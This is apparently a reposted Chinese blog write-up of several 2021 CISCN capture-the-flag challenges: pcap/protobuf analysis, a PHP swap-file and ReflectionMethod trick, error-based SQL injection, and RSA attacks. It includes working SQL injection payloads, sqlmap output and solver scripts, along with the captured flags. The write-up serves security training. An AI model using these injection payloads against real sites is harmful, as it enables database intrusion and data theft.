飞道的博客

2021全国大学生信息安全竞赛初赛部分WP

254人阅读  评论(0)

第一阶段

Misc

tiny traffic

分析pcap包,能发现几个可疑的请求——/flag_wrapper、/test、/secret,分别把它们传输的文件提取出来,得到三个压缩包,通过flag.gzip的内容可以确认这个IP就是我们要分析的IP

再使用Peazip分别提取secret和test的压缩包,能发现传输的格式规范

syntax = "proto3";

message PBResponse {
  int32 code = 1;
  int64 flag_part_convert_to_hex_plz = 2;
  message data {
    string junk_data = 2;
    string flag_part = 1;
  }
  repeated data dataList = 3;
  int32 flag_part_plz_convert_to_hex = 4;
  string flag_last_part = 5;
}

message PBRequest {
  string cate_id = 1;
  int32 page = 2;
  int32 pageSize = 3;
}

学习该协议规范,并按照规范要求手动提取secret解压缩后的二进制文件,得到flag

Web

easy_source

打开页面以后只有一行字,猜测是敏感目录或敏感备份文件,扫描敏感目录未发现,尝试敏感备份文件。

在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容

以 index.php 为例:第一次产生的交换文件名为 .index.php.swp

再次意外退出后,将会产生名为 .index.php.swo 的交换文件

第三次产生的交换文件则为 .index.php.swn

常见的备份文件格式有:

index.phps
index.php.swp
index.php.swo
index.php.php~
index.php.bak
index.php.txt
index.php.old

逐个测试,输入http://124.70.38.80:23122/.index.php.swo发现成功进入到一个网页中

本题目没有其他代码了噢,就只有这一个文件,虽然你看到的不完全,但是你觉得我会把flag藏在哪里呢,仔细想想文件里面还有什么?
<?php
class User
{
   
    private static $c = 0;

    function a()
    {
   
        return ++self::$c;
    }

    function b()
    {
   
        return ++self::$c;
    }

    function c()
    {
   
        return ++self::$c;
    }

    function d()
    {
   
        return ++self::$c;
    }

    function e()
    {
   
        return ++self::$c;
    }

    function f()
    {
   
        return ++self::$c;
    }

    function g()
    {
   
        return ++self::$c;
    }

    function h()
    {
   
        return ++self::$c;
    }

    function i()
    {
   
        return ++self::$c;
    }

    function j()
    {
   
        return ++self::$c;
    }

    function k()
    {
   
        return ++self::$c;
    }

    function l()
    {
   
        return ++self::$c;
    }

    function m()
    {
   
        return ++self::$c;
    }

    function n()
    {
   
        return ++self::$c;
    }

    function o()
    {
   
        return ++self::$c;
    }

    function p()
    {
   
        return ++self::$c;
    }

    function q()
    {
   
        return ++self::$c;
    }

    function r()
    {
   
        return ++self::$c;
    }

    function s()
    {
   
        return ++self::$c;
    }

    function t()
    {
   
        return ++self::$c;
    }
    
}

$rc=$_GET["rc"];
$rb=$_GET["rb"];
$ra=$_GET["ra"];
$rd=$_GET["rd"];
$method= new $rc($ra, $rb);
var_dump($method->$rd());

阅读源码并根据提示“flag在你看不到的地方”,猜测在User类的注释中

PHP5 具有完整的反射API,添加对类、接口、函数、方法和扩展进行反向工程的能力。

反射是什么?

它是指在PHP运行状态中,扩展分析PHP程序,导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。这种动态获取的信息以及动态调用对象的方法的功能称为反射API。反射是操纵面向对象范型中元模型的API,其功能十分强大,可帮助我们构建复杂,可扩展的应用。

其用途如:自动加载插件,自动生成文档,甚至可用来扩充PHP语言。

PHP反射api由若干类组成,可帮助我们用来访问程序的元数据或者同相关的注释交互。借助反射我们可以获取诸如类实现了那些方法,创建一个类的实例(不同于用new创建),调用一个方法(也不同于常规调用),传递参数,动态调用类的静态方法。
反射api是PHP内建的OOP技术扩展,包括一些类,异常和接口,综合使用他们可用来帮助我们分析其它类,接口,方法,属性,方法和扩展。这些OOP扩展被称为反射。

平常我们用的比较多的是 ReflectionClass类 和 ReflectionMethod类

ReflectionClass类只能传入一个参数,所以我们尝试ReflectionMethod类

我们能够实例化任意类,并调用类方法,那么就可以利用 PHP 内置类中的 ReflectionMethod 来读取 User 类里面各个函数的注释

payload为:

?rc=ReflectionMethod&ra=User&rb=a&rd=getDocComment

因为不知道是在哪个函数的注释中,所以逐个函数暴破,暴破 rb 的值 a-z,可以发现 flagq的注释中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-khh5kYR4-1621219644187)(C:\Users\Eddie Xu\AppData\Roaming\Typora\typora-user-images\image-20210515202403095.png)]

得到flag

你能发现我吗string(152) "/**
     * Increment counter
     *
     * @final
     * @static
     * @access  publicCISCN{M3ZLJ-fIkIK-SzdQg-gnBDJ-PSMzp-}
     * @return  int
     */"

easy_sql

使用burpsuite抓包,得到

POST / HTTP/1.1
Host: 124.70.38.80:23119
Content-Length: 61
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Origin: http://124.70.38.80:23119
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://124.70.38.80:23119/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-CN;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

Submit=%E7%99%BB%E5%BD%95&passwd=admin&uname=and+1%3D1+%23%23

可以看到该网站通过post方法向后台传输账户信息 uname和passwd、Submit参数

将上述得到的内容保存为head.txt,使用sqlmap进行扫描,设置对passwd参数的爆破:

python sqlmap.py -r "head.txt" -p "passwd"

得到

sqlmap resumed the following injection point(s) from stored session:
---
Parameter: passwd (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: uname=&passwd=') RLIKE (SELECT (CASE WHEN (6572=6572) THEN '' ELSE 0x28 END))-- IKuU&Submit=%E7%99%BB%E5%BD%95
    Vector: RLIKE (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: uname=&passwd=') AND EXTRACTVALUE(3038,CONCAT(0x5c,0x7170767171,(SELECT (ELT(3038=3038,1))),0x7171717071))-- BbxE&Submit=%E7%99%BB%E5%BD%95
    Vector: AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: uname=&passwd=') AND (SELECT 6666 FROM (SELECT(SLEEP(5)))LoiY)-- lgGY&Submit=%E7%99%BB%E5%BD%95
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---

使用第二个payload,自己加以改造

uname=&passwd=') AND EXTRACTVALUE(database(),CONCAT(0x5c,(substring((select database()),1,32)),0x5c))-- BbxE&Submit=%E7%99%BB%E5%BD%95
找到数据库:database		security

uname=&passwd=') AND EXTRACTVALUE(database(),CONCAT(0x5c,(substring((select group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()),1,32)),0x5c))-- BbxE&Submit=%E7%99%BB%E5%BD%95
被ban了,返回no

发现不能通过information_schema的方法得到列名

换方法:

1. uname=&passwd=') AND EXTRACTVALUE(database(),CONCAT(0x5c,(substring((select polygon(id)),1,32)),0x5c))-- BbxE&Submit=%E7%99%BB%E5%BD%95
发现有一张表叫做user
Illegal non geometric '`security`.`users`.`id`' value found during parsing</font>

2. uname=&passwd=') AND EXTRACTVALUE(database(),CONCAT(0x5c,(substring((select polygon(id) from flag),1,32)),0x5c))-- BbxE&Submit=%E7%99%BB%E5%BD%95
发现有一张表叫做flag
Illegal non geometric '`security`.`flag`.`id`' value found during parsing</font>

3. uname=&passwd=') AND EXTRACTVALUE(database(),CONCAT(0x5c,(substring((select * from (select * from flag as a  join flag as b) as c),1,32)),0x5c))-- BbxE&Submit=%E7%99%BB%E5%BD%95
Duplicate column name 'id'</font>

4. uname=&passwd=') AND EXTRACTVALUE(database(),CONCAT(0x5c,(substring((select * from (select * from flag a join flag b using(id)) c ),1,32)),0x5c))-- BbxE&Submit=%E7%99%BB%E5%BD%95
Duplicate column name 'no'</font>

5. uname=&passwd=')and(select extractvalue(1,concat(0x7e,(substring((select * from (select * from flag a join flag b using(id,no)) as c),15,32)))))#&Submit=%E7%99%BB%E5%BD%95
得到一个列名为 9d80e839-3fd7-4748-9f99-d96eb32523db

在获取到列名为9dbc6d93-9b02-4fb0-9a16-db7bbbf229ee以后,通过EXTRACTVALUE的错误回显来查询字段内容即可:

passwd = '''
admin') AND EXTRACTVALUE(8733,CONCAT(0x5c,'~',(
    SELECT substr((select `9dbc6d93-9b02-4fb0-9a16-db7bbbf229ee` from flag), 1, 20)
),'~')) -- abcd
'''

执行上述payload,得到输出:

XPATH syntax error: '\~CISCN{MXk6w-Lp85y-1P~'

随后分别将payload末尾的pos参数从1修改为11与21,分别执行,得到的输出如下:

XPATH syntax error: '\~w-Lp85y-1PK0K-QTG8X-~'
XPATH syntax error: '\~K0K-QTG8X-yLUKZ-}~'

拼接即可得到完整的flag:CISCN{MXk6w-Lp85y-1PK0K-QTG8X-yLUKZ-}

第三阶段

rsa

RSA攻击的常规题目,将明文分为了三部分加密

三个部分对应的攻击方式是:

  1. 分解N
  2. 共模攻击
  3. Coppersmith攻击

第一部分使用CTF-RSA-tool工具可以直接得到

# 结果
 
O wild West Wind, thou breath of Autum

第二部分使用脚本进行攻击

# -*- coding: utf-8 -*-

from libnum import n2s,s2n
from gmpy2 import invert

def egcd(a, b):
  if a == 0:
    return (b, 0, 1)
  else:
    g, y, x = egcd(b % a, a)
    return (g, x - (b // a) * y, y)

def main():
    n = 111381961169589927896512557754289420474877632607334685306667977794938824018345795836303161492076539375959731633270626091498843936401996648820451019811592594528673182109109991384472979198906744569181673282663323892346854520052840694924830064546269187849702880332522636682366270177489467478933966884097824069977
    c1 = 54995751387258798791895413216172284653407054079765769704170763023830130981480272943338445245689293729308200574217959018462512790523622252479258419498858307898118907076773470253533344877959508766285730509067829684427375759345623701605997067135659404296663877453758701010726561824951602615501078818914410959610
    c2 = 91290935267458356541959327381220067466104890455391103989639822855753797805354139741959957951983943146108552762756444475545250343766798220348240377590112854890482375744876016191773471853704014735936608436210153669829454288199838827646402742554134017280213707222338496271289894681312606239512924842845268366950
    e1 = 17
    e2 = 65537
    s = egcd(e1, e2)
    s1 = s[1]
    s2 = s[2]
    if s1<0:
        s1 = - s1
        c1 = invert(c1, n)
    elif s2<0:
        s2 = - s2
        c2 = invert(c2, n)

    m = pow(c1,s1,n)*pow(c2,s2,n) % n
    print n2s(m)

if __name__ == '__main__':
    main()

可以得到

# 结果
n's being,
Thou, from whose unseen presence the leaves dead
Are driven, like ghosts from an enchanter fleeing,
Yellow, a

第三部分使用Sage脚本能分析出p和q,然后再逆向求解明文

p4 = 7117286695925472918001071846973900342640107770214858928188419765628151478620236042882657992902
n = 113432930155033263769270712825121761080813952100666693606866355917116416984149165507231925180593860836255402950358327422447359200689537217528547623691586008952619063846801829802637448874451228957635707553980210685985215887107300416969549087293746310593988908287181025770739538992559714587375763131132963783147
pbits = 512
kbits = pbits - p4.nbits()
print (p4.nbits())
p4 = p4 << kbits
PR.<x> = PolynomialRing(Zmod(n))
f = x + p4
x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
print ("x:" ,hex(int(x0)))
p = p4+x0
print ("p: ", int(p))
assert n % p == 0
q = n/int(p)
print ("q: ", int(q))

得到

# 结果
nd black, and pale, and hectic red,
Pestilence-stricken multitudes: O thou,
Who chariotest to their dark wintry bed

三句话拼起来是雪莱的一首诗,然后再按照题目要求算md5值,注意明文是存在换行符号的,最后得到md5值带入CISCN{md5}即可得到flag


转载:https://blog.csdn.net/weixin_45844670/article/details/116919719
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场